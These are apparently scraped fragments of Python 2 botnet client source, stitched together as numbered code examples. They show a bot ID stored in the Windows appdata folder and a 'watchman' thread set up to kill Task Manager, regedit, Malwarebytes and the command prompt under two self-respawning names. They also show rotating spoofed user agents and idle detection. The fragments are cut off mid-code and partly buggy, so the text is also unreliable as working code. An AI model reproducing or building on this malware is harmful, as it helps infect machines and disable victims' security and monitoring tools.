Example #1
0
def getid():
	try:
		if ostype() == "Windows":
			botid = glob.glob(os.getenv('appdata') + '/' + "*.cfg")
			botid = botid.split("/")[-1]
		else:
			botid = glob.glob("*.cfg")
			botid = botid.split("/")[-1]
		botid = botid[0].replace(".cfg", "")
	except: botid = ""
	if botid == "":
		try:
			botid = str(uuid.uuid4())
			if settings.ostype() == "Windows":
				newself = open(os.getenv('appdata') + '/' + botid + ".cfg", "w")
			else:
				newself = open(botid + ".cfg", "w")
			newself.close()
			print prefix + 'Wrote config file'
		except:
			print prefix + "ID is f****d"
	return botid
Example #2
0
import os
import sys
import threading
import thread
import time
import settings
import subprocess
import psutil

if "Linux" == settings.ostype():
	killcmd = 'killall'
else:
	killcmd = 'taskkill'

class watchman(threading.Thread):
	def __init__(self):
		threading.Thread.__init__(self)
	def run(self):
		badwinprocs = ['taskmgr', 'regedit', 'mbam', 'cmd', 'command']
		if 'lucifer' in sys.argv[0]:
			exe = "morningstar"
		else:
			exe = "lucifer"
		while 1:
			#
			processlist = psutil.pids()
			x = False
			for process in processlist:
				try:
					proc = psutil.Process(process)
					print proc.name()
Example #3
0
"Mozilla/5.0 (Linux; Android 4.4.2; Nexus 4 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.114 Mobile Safari/537.36",
"Mozilla/5.0 (iPad; CPU OS 7_0_4 like Mac OS X) AppleWebKit/537.51.1 (KHTML, like Gecko) CriOS/34.0.1847.18 Mobile/11B554a Safari/9537.53",
"Mozilla/5.0 (iPad; CPU OS 7_0_4 like Mac OS X) AppleWebKit/537.51.1 (KHTML, like Gecko) Version/7.0 Mobile/11B554a Safari/9537.53"]

headers = "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nAccept-Language: en-us,en;q=0.5\r\nAccept-Encoding: gzip,deflate\r\nAccept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\nKeep-Alive: 115\r\nConnection: keep-alive\\Cookie: disclaimer_accepted=true"
headers = headers.split("\r\n")

useragent = random.choice(useragents)
cookies = dict(disclaimer_accepted='true')

s = requests.Session()
s.headers.update({'User-Agent': useragent})

output = ''

if "Linux" == settings.ostype():
	killcmd = 'killall'
else:
	killcmd = 'taskkill'

#### Idle Detection #########################################################################

if settings.ostype() == "Windows":
	from _winreg import *
	from ctypes import Structure, windll, c_uint, sizeof, byref

	class LASTINPUTINFO(Structure):
	    _fields_ = [
	        ('cbSize', c_uint),
	        ('dwTime', c_uint),
	    ]